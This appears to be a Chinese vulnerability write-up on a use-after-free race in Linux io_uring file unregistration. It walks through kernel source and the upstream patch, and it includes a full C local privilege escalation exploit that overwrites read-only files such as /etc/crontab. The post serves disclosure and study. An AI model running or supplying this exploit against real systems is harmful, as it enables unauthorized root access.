[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析

admin 2023年3月10日21:27:15评论53 views字数 11325阅读37分45秒阅读模式

1:简介

本文将介绍去年发现的一次Linux内核IO_URING子系统修复,本文将在ubuntu上进行本地提权的内核分析。
该问题已经在内核内核版本修复并合入LTS分支。

2:IO_URING及文件机制

IO_URING是内核提供的一个异步IO机制。进程和内核共享两个环形队列:Submit Queue和Consume Queue。分别用于进程提交任务和内核返回任务的执行结果。

下面的代码展示了一个使用IO_URING的最简单的例子,在这个例子里我们提交两个任务到内核:

  1. 从stdin(fd 0)读100个字节

  2. 向stdout (fd 1) 写100个字节

char buffer[1024] = {'A'};
struct io_uring ring;
io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);

sqe = io_uring_get_sqe(&ring); 
io_uring_prep_read(sqe, 0, buffer, 1000);
seq->flags |= IOSQE_IO_LINK;
sqe = io_uring_get_sqe(&ring);
io_uring_prep_write(sqe, 1, buffer, 1000);
io_uring_submit(&ring);

内核在接收到上述任务后,会在io_file_get_normal函数中使用fget(fd)方法获取file指针并增加其引用计数。为req->file赋值后,执行该任务或并将该任务送入后台的线程池。

static struct file *io_file_get_normal(struct io_kiocb *req, int fd)
{
    struct file *file = fget(fd);

    trace_io_uring_file_get(req->ctx, fd);

    /* we don't allow fixed io_uring files */
    if (file && file->f_op == &io_uring_fops)
        req->flags |= REQ_F_INFLIGHT;
    return file;
}
static bool io_assign_file(struct io_kiocb *req, unsigned int issue_flags)
{
    if (req->file || !io_op_defs[req->opcode].needs_file)
        return true;

    if (req->flags & REQ_F_FIXED_FILE)
        req->file = io_file_get_fixed(req, req->fd, issue_flags);
    else
        req->file = io_file_get_normal(req, req->fd);
    if (req->file)
        return true;

    req_set_fail(req);
    req->result = -EBADF;
    return false;
}

进程也可以将选择将文件描述符提前在IO_URING的上下文中注册。并在提交任务时,通过IOSQE_FIXED_FILE属性,让内核使用之前提前注册好的文件。这种情况下,因为在注册阶段,内核已经持有了file的一个引用计数,在io_file_get_fixed函数中,就不再调用fget增加引用计数了,而直接使用io_fixed_file_slot获取注册文件表中的file指针。

static inline struct file *io_file_get_fixed(struct io_kiocb *req, int fd,
                         unsigned int issue_flags)

{
    struct io_ring_ctx *ctx = req->ctx;
    struct file *file = NULL;
    unsigned long file_ptr;

    if (issue_flags & IO_URING_F_UNLOCKED)
        mutex_lock(&ctx->uring_lock);

    if (unlikely((unsigned int)fd >= ctx->nr_user_files))
        goto out;
    fd = array_index_nospec(fd, ctx->nr_user_files);
    file_ptr = io_fixed_file_slot(&ctx->file_table, fd)->file_ptr;
    file = (struct file *) (file_ptr & FFS_MASK);
    file_ptr &= ~FFS_MASK;
    /* mask in overlapping REQ_F and FFS bits */
    req->flags |= (file_ptr << REQ_F_SUPPORT_NOWAIT_BIT);
    io_req_set_rsrc_node(req, ctx, 0);
out:
    if (issue_flags & IO_URING_F_UNLOCKED)
        mutex_unlock(&ctx->uring_lock);
    return file;
}

进程能通过io_uring_registersyscall的IORING_REGISTER_FILES、IORING_UNREGISTER_FILES注册或释放文件表。
在注销时,可能仍有运行或者等待的任务存活,且这些任务并没有持有文件的引用计数,因此,IORING_REGISTER_FILESIORING_UNREGISTER_FILES这两个命令可能会阻塞,直到所有在运行的任务执行完成后才可以进行。在内核的早期版本中,io_uring通过percpu_ref机制,首先阻止新任务创建,并释放全局锁,等待所有任务完成后,在对注册文件表进行更新。

    //linux kernel 
    percpu_ref_kill(&ctx->refs);
    /*
     * Drop uring mutex before waiting for references to exit. If another
     * thread is currently inside io_uring_enter() it might need to grab
     * the uring_lock to make progress. If we hold it here across the drain
     * wait, then we can deadlock. It's safe to drop the mutex here, since
     * no new references will come in after we've killed the percpu ref.
     */

    mutex_unlock(&ctx->uring_lock);
    wait_for_completion(&ctx->ctx_done);
    mutex_lock(&ctx->uring_lock);
    switch (opcode) {
    case IORING_REGISTER_BUFFERS:
        ret = io_sqe_buffer_register(ctx, arg, nr_args);
        break;
    ...
    case IORING_REGISTER_FILES:
        ret = io_sqe_files_register(ctx, arg, nr_args);
        break;
    case IORING_UNREGISTER_FILES:
        ret = -EINVAL;
        if (arg || nr_args)
            break;
        ret = io_sqe_files_unregister(ctx);
        break;

有一些应用,有频繁的更新注册文件表的需求,为了避免频繁阻塞进程,内核在后来添加了文件表的动态更新接口。

3:注册文件动态更新

Node

后续版本开始,内核增加了IORING_REGISTER_FILES_UPDATE子命令支持文件的动态添加,替换和删除,且不再阻塞。我这里以某LTS版本进行具体分析。

[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析



添加文件的场景比较简单,只需要正常持有文件的引用计数(fget),并将其加入文件表中即可。
替换场景其实是就是添加和删除两个命令串联。
而删除的场景下,以图中删除B为例。由于可能仍然有任务持有了B的指针并进行访问,且任务本身并不持有引用计数。所以不能简单的fput(B),B的引用需要有其他角色去持有。

这里IO_URING引入了一个概念,叫做Node。新创建的任务(下图Job1)都会持有当前的Node的引用。

[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析

当文件被动态删除时,IO_URING会创建一个新的Node(Files Node2),并将被删除的文件的所有权转从文件表中转移到上一个Node中。之后创建的新任务,将关联到新的Node上。
这样的话,之前那些仍在运行的任务就通过Node间接持有了文件。
之后新创建的任务(Job2)则持有新节点。

[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析

同时,由于比较新创建的任务可能会比之前的任务更早完成,这时旧任务使用的文件就可能因为在新任务完成后,(由于关联的Node)提前释放,从而导致UAF。(如下图,当Job2先于Job1完成时,Job1的B指针就会悬空,产生UAF)。

[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析

所以,io_uring这里还需要确保Node的释放顺序是和其创建的顺序一致的。
因此在https://github.com/torvalds/linux/commit/e297822b20e7fe683e107aea46e6402adcf99c70,Node之间也形成了一个链表,来保证其释放顺序。

[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析

4:IORING_UNREGISTER_FILES的优化

我们前面提到,引入的IORING_UNREGISTER_FILES两个命令会等待所有任务执行完毕后,再执行。其实我们就至少不用等所有任务都执行完了,只需要等待使用了注册文件的那些任务做完就好了。
因此,后来版本,io_uring做出了优化:

  1. 进程发起IORING_UNREGISTER_FILES后,立刻再创建一个新的Node:

    这样所有有任务关联的Node,就都在Node链表中了。

  2. 释放全局锁,等待所有链表中的Node被释放,触发data->done

  3. data->done完成后,因为全局锁没有还没有被锁住,所以会发生race,有文件被删除,导致链表非空。重新上锁后,再次确认链表中节点的个数(data->refs)。

  4. 确认所有任务都已经完成,且被上锁后,释放文件表中的所有文件io_free_file_tables(&ctx->file_table)

static int io_rsrc_ref_quiesce(struct io_rsrc_data *data, struct io_ring_ctx *ctx)
{
    int ret;

    /* As we may drop ->uring_lock, other task may have started quiesce */
    if (data->quiesce)
        return -ENXIO;

    data->quiesce = true;
    do {
        // 1. 创建新Node
        ret = io_rsrc_node_switch_start(ctx);
        if (ret)
            break;
        io_rsrc_node_switch(ctx, data);

        /* kill initial ref, already quiesced if zero */
        if (atomic_dec_and_test(&data->refs))
            break;

        //2. 释放全局锁
        mutex_unlock(&ctx->uring_lock);
        flush_delayed_work(&ctx->rsrc_put_work);

        //2. 并等待所有Node释放。
        ret = wait_for_completion_interruptible(&data->done);
        if (!ret) {
            //3. 上锁后再次确认没有发生Race
            mutex_lock(&ctx->uring_lock);
            if (atomic_read(&data->refs) > 0) {
                /*
                 * it has been revived by another thread while
                 * we were unlocked
                 */

                mutex_unlock(&ctx->uring_lock);
            } else {
                break;
            }
        }

        atomic_inc(&data->refs);
        /* wait for all works potentially completing data->done */
        flush_delayed_work(&ctx->rsrc_put_work);
        reinit_completion(&data->done);

        ret = io_run_task_work_sig();
        mutex_lock(&ctx->uring_lock);
    } while (ret >= 0);
    data->quiesce = false;

    return ret;
}
static int io_sqe_files_unregister(struct io_ring_ctx *ctx)
{
    unsigned nr = ctx->nr_user_files;
    int ret;

    if (!ctx->file_data)
        return -ENXIO;

    ret = io_rsrc_ref_quiesce(ctx->file_data, ctx);
    if (!ret)
        __io_sqe_files_unregister(ctx);
    return ret;
}
static void __io_sqe_files_unregister(struct io_ring_ctx *ctx)
{
#if defined(CONFIG_UNIX)
    if (ctx->ring_sock) {
        struct sock *sock = ctx->ring_sock->sk;
        struct sk_buff *skb;

        while ((skb = skb_dequeue(&sock->sk_receive_queue)) != NULL)
            kfree_skb(skb);
    }
#else
    int i;

    for (i = 0; i < ctx->nr_user_files; i++) {
        struct file *file;

        file = io_file_from_index(ctx, i);
        if (file)
            fput(file);
    }
#endif
    io_free_file_tables(&ctx->file_table); //4. 释放温文件表中的所有文件
    io_rsrc_data_free(ctx->file_data);
    ctx->file_data = NULL;
    ctx->nr_user_files = 0;
}

5:问题复现

前面卖了这么多关子,终于到了最后的问题复现环节!

在上一节提到的优化中,其实包含了一个假设:所有的在链表中的Node都被释放后,就没有任何其他文件相关的任务存活了。

但这个假设并不总能成立。因为用来和新任务关联的空的Node节点,总是是不在链表中的,这给予了我们Race的机会:

  • 在步骤4.1中,创建了一个新节点,并将旧节点送入链表,此时这个假设仍是成立的。

  • 但在步骤4.2中,解锁了全局锁后,进程仍然可以通过race,提交一个新的任务进来,且这个任务关联的Node就不再链表中了。这时假设就不成立了。

  • 这时当io_uring在第4步释放文件表后,通过race提交的任务持有的文件指针就悬空了,导致了UAF。

另一个很幸运的特点是:因为步骤4.2中,io_uring会等待链表中的Node被释放,因此这其实给了我们充足的时间将Race任务提交进来,这样我们就有了一个很稳定的file的UAF。

file指针的利用技巧已经有很多文章介绍了,如参考资料[1][2]。我这里简单参考了以往的利用方式,完成了任意修改只读文件的利用,从而实现了ubuntu的本地提权。

  1. 首先提交一个写入任务,并利用其中问题将其使用的file释放,使指针悬空。

  2. 再喷上一个只读的没有权限写入的文件(如/etc/crontab)。

  3. 最后写入任务执行时,就可以向只读文件写入任意内容,实现提权。

#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/poll.h>
#include <sys/socket.h>
#include <unistd.h>
#include <pthread.h>
#include <assert.h>

#include "liburing.h"

int victim_fd = 0;
int control_pipes[2];
struct io_uring ring;
char buffer[10];
char payload[1024*1024*100];
int payload_len = 0;
const char * target_path = NULL;

void consume() {
    struct io_uring_cqe *cqe;
    int ret = io_uring_wait_cqe(&ring, &cqe);
    printf("consuming..n");
    if (ret < 0) {
        printf("Error when consuming: %sn",
                strerror(-ret));
        return;
    }
    if (!cqe) return;
    if (cqe->res < 0) {
        printf("Error in async operation: %sn", strerror(-cqe->res));
        ;
    }
    printf("Result: %dn", cqe->res);
    printf("%lldn", cqe->user_data);
    io_uring_cqe_seen(&ring, cqe);
}

void * work(void *) {
    //创建两个LINK的任务,前一个从管道读取数据,被阻塞
    //这样我们就可以控制一个任务使用的registered_file被Free后发生Use的时机。
    struct io_uring_sqe * sqe;
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, control_pipes[0], buffer, 10);
    sqe->flags |= IOSQE_IO_LINK;
    sqe->user_data = 1;


    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_write(sqe, 0, payload, payload_len, 0);
    sqe->flags |= IOSQE_FIXED_FILE | IOSQE_IO_LINK;
    sqe->user_data = 2;

    io_uring_submit(&ring);
    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        printf("usage: %s <target file> <source>", argv[0]);
    }
    int fd = open(argv[2], 0);
    assert(fd >= 0);

    payload_len = read(fd, payload, sizeof(payload));
    assert(payload_len >= 1);
    close(fd);
    target_path = argv[1];

    struct io_uring_params params;
    memset(&params, 0sizeof(params));
    params.flags |= IORING_SETUP_SQPOLL;
    params.sq_thread_idle = 3000;

    if (io_uring_queue_init_params(128, &ring, &params) < 0) {
        perror("io_uring_init_failed...n");
        exit(1);
    }

    int ret;
    ret = pipe(control_pipes);
    assert(ret == 0);

    int fds[1024000];
    for (int i = 0; i < 1024000; i++) {//获得一个干净的堆
        int fd = open(target_path, 0);
        assert( fd>=0 );
        fds[i] = fd;
        if (i == 102412)
            victim_fd = open("./write", O_RDWR|O_CREAT, 0777);//准备一个可写文件
    }
    for (int i = 0; i < 1024000; i+=2) {
        close(fds[i]);
    }

    assert(victim_fd >= 0);
    ret = io_uring_register_files(&ring, &victim_fd, 1);//将可写文件注册进io_uring
    assert(ret == 0);
    pthread_t thread;
    pthread_create(&thread, NULL, work, NULL);

    io_uring_unregister_files(&ring);
    close(victim_fd);//触发问题,关闭victim_fd,提交的任务的文件指针已经悬空

    printf("spraying..n");
    for (int i = 0; i < 1024000; i+=2) {
        int fd = open(target_path, 0);// 将/etc/crontab的file喷回
        assert(fd >= 0);
    }
    write(control_pipes[1], "1"1);//让被阻塞的任务继续执行,出发UAF,完成写入。
    consume();
    consume();
    //close(pipes[1]);
}

完整学习资料:

https://github.com/Jiggly-Puffs/io_uring_LPE

6:问题修复

该问题在主线版本修复:

static int io_sqe_files_unregister(struct io_ring_ctx *ctx)
{
+    unsigned nr = ctx->nr_user_files;
    int ret;

    if (!ctx->file_data)
        return -ENXIO;
+
+    /*
+     * Quiesce may unlock ->uring_lock, and while it's not held
+     * prevent new requests using the table.
+     */

+    ctx->nr_user_files = 0;
    ret = io_rsrc_ref_quiesce(ctx->file_data, ctx);
+    ctx->nr_user_files = nr;
    if (!ret)
        __io_sqe_files_unregister(ctx);
    return ret;
}

在解锁前,将ctx->nr_user_files置0,避免进程可以创建出使用注册文件的任务。在所有相关任务完成后,再释放相关资源即可。

参考资料

[1]: https://i.blackhat.com/USA-22/Wednesday/US-22-Wu-Devils-Are-in-the-File.pdf
[2]: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!


原文始发于微信公众号(华为安全应急响应中心):[安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月10日21:27:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [安全技术分享] 一次对Linux中IO_URING子系统的本地提权问题分析https://cn-sec.com/archives/1597317.html

发表评论

匿名网友 填写信息